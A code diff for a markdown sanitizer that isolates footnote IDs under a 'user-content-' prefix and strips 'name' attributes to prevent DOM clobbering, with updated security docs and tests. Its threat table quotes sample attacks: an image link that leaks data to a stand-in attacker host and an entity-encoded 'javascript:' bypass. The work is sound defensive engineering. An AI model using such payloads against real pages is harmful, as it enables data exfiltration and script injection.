Isolate footnote DOM names while preserving links

docs/SECURITY.md

@@ -38,7 +38,7 @@ the same per-element gate**, so the security posture is backend-independent.
 | `<script>`, event handlers (`onclick`, …), arbitrary/unknown tags | Not on the sink allowlist — stripped or unwrapped. The allowlist mirrors exactly what the renderer is meant to emit (prose + GFM tables + code + math/mermaid scaffolding). |
 | `javascript:` / `data:` / `vbscript:` in a markdown link or image | Scheme allowlist (`safeLinkHref`), applied **after** decoding HTML entities and backslash escapes, so `&#x6a;avascript:` and friends are caught before the check. Default schemes: `http(s)`, `mailto`, `tel`, `sms`, `ftp(s)`. |
 | Raw HTML in the input (`<div>`, `<img onerror>`, …) | Passthrough by default — the renderer emits well-formed tags and the sink is the sole arbiter (allowlisted → element, else stripped/unwrapped). `htmlPolicy: 'escape'` literalizes it instead. The allowlist is **not** widened by passthrough. |
-| DOM clobbering via attacker `id` (shadowing `document.forms`, etc.) | The per-element gate strips every `id` outside the renderer-emitted footnote shape (`fn-…` / `fnref-…`). No attacker-chosen id survives. |
+| DOM clobbering via attacker `id` / `name` | The shared element gate strips `name` (including host extensions), drops IDs outside the footnote shape, and prefixes accepted IDs with `user-content-`. Matching fragment links and ARIA references are rewritten together. Hosts must reserve that namespace for untrusted content. See the namespace policy below. |
 | Focus stops / landmark roles via raw `role` / `tabindex` | Neither is on the allowlist. With the opt-in `tableWrapper`, the sink admits both names only so the renderer's table wrapper survives, and a per-element gate keeps them only on that exact shape (a `<div>` with the configured class whose sole element child is a `<table>`, forced to `role="region"` / `tabindex="0"`), stripping them everywhere else. Raw HTML copying that shape gets the same table scroll region, nothing more. |
 | Interactive/form injection via `<input>` | The gate keeps only the fixed read-only GFM task-list checkbox (`type=checkbox disabled`); any other `<input>` is dropped. |
 | Exfiltration via image/link destination (a prompt-injection classic: `![](https://attacker/?leak=…)`) | Opt-in **link/image origin policy** (`linkImagePolicy`) restricts which origins links/images may resolve to, compared after WHATWG canonicalization (credential-stripping, punycode, `\`→`/`, scheme-relative) so the usual allowlist bypasses fail. `data:` images can be blocked too. |
@@ -91,6 +91,43 @@ can hold different policies without bleed (see [#137 / ADR 0003](decisions/0003-
 
 ## Known considerations
 
+- **DOM clobbering namespace policy.** Both bundled sanitizers apply the same
+  core element gate to their string and node paths. Every accepted footnote ID
+  receives a fixed `user-content-` prefix, including IDs supplied by raw HTML.
+  For example, `fn-note` becomes `user-content-fn-note` and `footnote-label`
+  becomes `user-content-footnote-label`. Matching `href` fragments (including
+  percent-encoded fragments), `aria-describedby`, and `aria-labelledby` tokens
+  receive the same prefix, preserving footnote navigation and accessibility.
+  Already-prefixed IDs and references stay unchanged on repeated sanitization.
+  Other IDs are stripped. `name` is stripped even when a host extension admits
+  it, including on disabled checkboxes and attributes added by host element
+  hooks. Use `data-*` for host metadata instead.
+
+  This is namespace isolation, not removal of every browser named property:
+  `window['user-content-fn-note']` can still resolve to content. Hosts must
+  reserve `user-content-` for untrusted DOM and keep trusted configuration in
+  module/local bindings rather than reading it through `window` or `document`.
+  A fixed prefix does not authenticate an element's origin: raw HTML can still
+  duplicate an ID **inside** the reserved namespace and interfere with footnote
+  navigation there. Use `htmlPolicy: 'escape-all'` to prevent raw-element
+  forgery and a distinct `footnoteIdPrefix` per message to avoid accidental
+  cross-message collisions. Neither sanitizer output nor a DOM lookup inside
+  it should be treated as trusted application configuration.
+
+  This changes sanitized footnote IDs and fragment URLs; `renderMarkdownUnsafe`
+  retains its raw IDs. With `footnoteIdPrefix: 'message-7-'`, sanitized IDs are
+  `user-content-fn-message-7-note`, `user-content-fnref-message-7-note`, and
+  `user-content-message-7-footnote-label`. Hosts using custom CSS selectors or
+  DOM lookups for footnotes should account for this prefix.
+
+  [Browser regression tests](../tests/dom-clobbering.e2e.test.ts) cover both
+  sanitizers, both sinks, streaming prefixes, repeated references, custom
+  message prefixes, ARIA links, repeated sanitization, and host extensions.
+  Diagram/math hydration and custom sanitizer backends remain separate trust
+  boundaries as described above. This policy follows the namespace-isolation
+  approach described in the
+  [OWASP DOM Clobbering Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_Clobbering_Prevention_Cheat_Sheet.html).
+
 - **Angle autolinks (`<scheme:…>`) use a deny-list**, not the markdown-link
   allowlist: they reject `javascript:`/`data:`/`vbscript:` but permit other
   schemes (e.g. `file:`). This is a deliberate CommonMark-conformance divergence

package.json

@@ -139,7 +139,7 @@
     "build:demo": "npm run build && rm -f docs/streaming-markdown.*.mjs && esbuild docs/browser-entry.mjs --bundle --splitting --external:katex --external:shiki --external:mermaid --format=esm --platform=browser --outdir=docs --out-extension:.js=.mjs --entry-names=streaming-markdown.browser --chunk-names=streaming-markdown.[name]-[hash] && tsx scripts/build-demo-assets.mts",
     "typecheck": "tsc -p tsconfig.json --noEmit",
     "test": "node --import tsx --test \"src/**/*.test.ts\" \"src/**/*.test.tsx\"",
-    "test:e2e": "node --import tsx --test tests/trusted-types.e2e.test.ts tests/mermaid-isolated.e2e.test.ts tests/mermaid-viewer.e2e.test.ts",
+    "test:e2e": "node --import tsx --test tests/trusted-types.e2e.test.ts tests/mermaid-isolated.e2e.test.ts tests/mermaid-viewer.e2e.test.ts tests/dom-clobbering.e2e.test.ts",
     "coverage": "c8 npm test",
     "coverage:check": "node --import tsx scripts/coverage-gate.mts",
     "coverage:update": "node --import tsx scripts/coverage-gate.mts --update",

src/config.ts

@@ -100,7 +100,8 @@ export interface MarkdownConfig {
    * (`id="fn-1"` / `id="fnref-1"`); single-render consumers need not set it.
    *
    * With a prefix the ids become `fn-<prefix><label>` / `fnref-<prefix><label>`
-   * (and the `href` jump targets track them), so two messages that both use
+   * in raw output; sanitized output additionally prepends `user-content-` to
+   * IDs and matching fragment/ARIA references. Two messages that both use
    * `[^1]` no longer both emit `id="fn-1"` and cross-link. Pass a **distinct,
    * attribute-safe** token per rendered message (e.g. `` `${messageId}-` ``,
    * characters in `[A-Za-z0-9_-]`). The value must be deterministic and stable

src/footnotes.test.ts

@@ -208,19 +208,19 @@ describe('collectFootnoteDefinitions (#72)', () => {
 describe('footnote sanitizer surface (#72)', () => {
   it('footnote output survives sanitizeRenderedMarkdown', () => {
     const sanitized = sanitizeRenderedMarkdown(renderMarkdownUnsafe('A[^n].\n\n[^n]: body'))
-    assert.match(sanitized, /<sup class="footnote-ref"><a href="#fn-n" id="fnref-n"[^>]*>1<\/a><\/sup>/)
+    assert.match(sanitized, /<sup class="footnote-ref"><a href="#user-content-fn-n" id="user-content-fnref-n"[^>]*>1<\/a><\/sup>/)
     assert.match(sanitized, /<section class="footnotes"[^>]*>/)
-    assert.match(sanitized, /<li id="fn-n">/)
-    assert.match(sanitized, /<a href="#fnref-n" class="footnote-backref"[^>]*>↩<\/a>/)
+    assert.match(sanitized, /<li id="user-content-fn-n">/)
+    assert.match(sanitized, /<a href="#user-content-fnref-n" class="footnote-backref"[^>]*>↩<\/a>/)
   })
 
   it('retains the a11y hooks (aria/data/sr-only heading) through the sanitizer (#216)', () => {
     const sanitized = sanitizeRenderedMarkdown(renderMarkdownUnsafe('A[^n].\n\n[^n]: body'))
     // The visually-hidden heading and its id (aria-describedby target) survive.
-    assert.match(sanitized, /<h2 id="footnote-label" class="sr-only">Footnotes<\/h2>/)
+    assert.match(sanitized, /<h2 id="user-content-footnote-label" class="sr-only">Footnotes<\/h2>/)
     assert.match(sanitized, /data-footnotes/)
     // Ref link keeps its describedby + data hook.
-    assert.match(sanitized, /aria-describedby="footnote-label"/)
+    assert.match(sanitized, /aria-describedby="user-content-footnote-label"/)
     assert.match(sanitized, /data-footnote-ref/)
     // Backref keeps its label + data hook.
     assert.match(sanitized, /aria-label="Back to reference 1"/)
@@ -230,7 +230,7 @@ describe('footnote sanitizer surface (#72)', () => {
   it('strips ids outside the renderer-emitted footnote shape', () => {
     const sanitized = sanitizeRenderedMarkdown('<p id="body">x</p><li id="fn-ok">y</li>')
     assert.doesNotMatch(sanitized, /id="body"/)
-    assert.match(sanitized, /id="fn-ok"/)
+    assert.match(sanitized, /id="user-content-fn-ok"/)
   })
 })
 

src/sanitize.ts

@@ -95,9 +95,8 @@ const ALLOWED_ATTR = [
   'checked',
   'disabled',
   // GFM footnote anchors (#72): `id="fn-…"`/`id="fnref-…"` jump targets, plus the
-  // section's `id="footnote-label"` heading. The element gate below strips any id
-  // outside that renderer-emitted shape, so sanitized fragments can never mint
-  // arbitrary page-global names.
+  // section's `id="footnote-label"` heading. The element gate strips other IDs
+  // and isolates accepted IDs and their references in `user-content-`.
   'id',
   // GFM footnote / task-list accessibility hooks (#216/#217): `aria-label` on
   // task checkboxes and backrefs, `aria-describedby` linking a ref to the
@@ -193,6 +192,9 @@ export function getSanitizerBackend(): SanitizerBackend | null {
  * task-list `<input>`), letting the host drop or lock down its own tags (e.g.
  * remove any non-artifact `<img>` and strip its `src`). Set it per render via
  * `MarkdownConfig.sanitizeExtension`.
+ * `name` is always removed, and accepted footnote IDs and their fragment/ARIA
+ * references are isolated with `user-content-`, even when set by `onElement`.
+ * Reserve that namespace for untrusted content; use `data-*` for host metadata.
  *
  * **`data-*` caveat.** Custom data attributes pass generically (see
  * `DATA_ATTR_NAME_SOURCE`), so no host needs an `allowedAttr` entry for one.
@@ -222,17 +224,50 @@ export interface SanitizeExtension {
 // the native Sanitizer API.
 // The only ids the renderer emits: footnote jump targets (`fn-…`/`fnref-…`, each
 // optionally carrying a per-render `footnoteIdPrefix`) and the section's
-// `footnote-label` heading (#72/#216). Anything else is stripped so allowlisting
-// `id` cannot enable DOM clobbering of arbitrary page-global names.
+// `footnote-label` heading (#72/#216). Raw HTML can forge this shape, so reserve
+// a user-content namespace rather than exposing these as application names.
 const FOOTNOTE_ID_RE = /^(?:fn(?:ref)?-[A-Za-z0-9_-]+|[A-Za-z0-9_-]*footnote-label)$/
+const CONTENT_ID_PREFIX = 'user-content-'
 
-function gateElement(node: Element, tagName: string): void {
-  // The DOMPurify backend's hook also fires for text/comment nodes, which
-  // carry no attributes — only real elements have an id to gate.
-  if (typeof node.getAttribute === 'function') {
-    const id = node.getAttribute('id')
-    if (id !== null && !FOOTNOTE_ID_RE.test(id)) node.removeAttribute('id')
+function isolatedFootnoteId(value: string): string | null {
+  // Idempotent: already-sanitized fragments can pass through the sink again.
+  const bare = value.startsWith(CONTENT_ID_PREFIX) ? value.slice(CONTENT_ID_PREFIX.length) : value
+  return FOOTNOTE_ID_RE.test(bare) ? CONTENT_ID_PREFIX + bare : null
+}
+
+function isolateNamedProperties(node: Element): void {
+  // Never allow a host's attribute extension to reopen document/window names.
+  // Hosts needing application metadata should use data-* instead of name.
+  node.removeAttribute('name')
+  const id = node.getAttribute('id')
+  if (id !== null) {
+    const isolated = isolatedFootnoteId(id)
+    if (isolated === null) node.removeAttribute('id')
+    else node.setAttribute('id', isolated)
+  }
+  const href = node.getAttribute('href')
+  if (href?.startsWith('#')) {
+    // URL fragments can encode the target ID (e.g. #fn%2Dnote).
+    let fragment = href.slice(1)
+    try {
+      fragment = decodeURIComponent(fragment)
+    } catch {
+      // Leave malformed URLs unchanged.
+    }
+    const isolated = isolatedFootnoteId(fragment)
+    if (isolated !== null) node.setAttribute('href', '#' + isolated)
   }
+  for (const attr of ['aria-describedby', 'aria-labelledby']) {
+    const value = node.getAttribute(attr)
+    if (value !== null) {
+      node.setAttribute(attr, value.replace(/[^\t\n\f\r ]+/g, (token) => isolatedFootnoteId(token) ?? token))
+    }
+  }
+}
+
+function gateElement(node: Element, tagName: string): void {
+  // DOMPurify's hook also fires for text/comment nodes.
+  if (typeof node.getAttribute !== 'function') return
   if (tagName === 'input') {
     // Only the renderer's read-only task-list checkbox is allowed; drop any
     // other `<input>` (text fields, buttons, image inputs) entirely and force
@@ -242,6 +277,7 @@ function gateElement(node: Element, tagName: string): void {
       return
     }
     node.setAttribute('disabled', '')
+    isolateNamedProperties(node)
     return
   }
   // Core link/image origin policy (opt-in, off by default) — a no-op unless a
@@ -250,6 +286,9 @@ function gateElement(node: Element, tagName: string): void {
   applyLinkImagePolicy(node, tagName)
   // Host-specific gating (e.g. a remote-artifact `<img>` policy) runs here.
   activeConfig().sanitizeExtension?.onElement?.(node, tagName)
+  // Run after the host hook as well, so it cannot accidentally restore an
+  // unisolated id/name. The same gate runs on both string and node paths.
+  isolateNamedProperties(node)
 }
 
 function resolveBackend(): SanitizerBackend {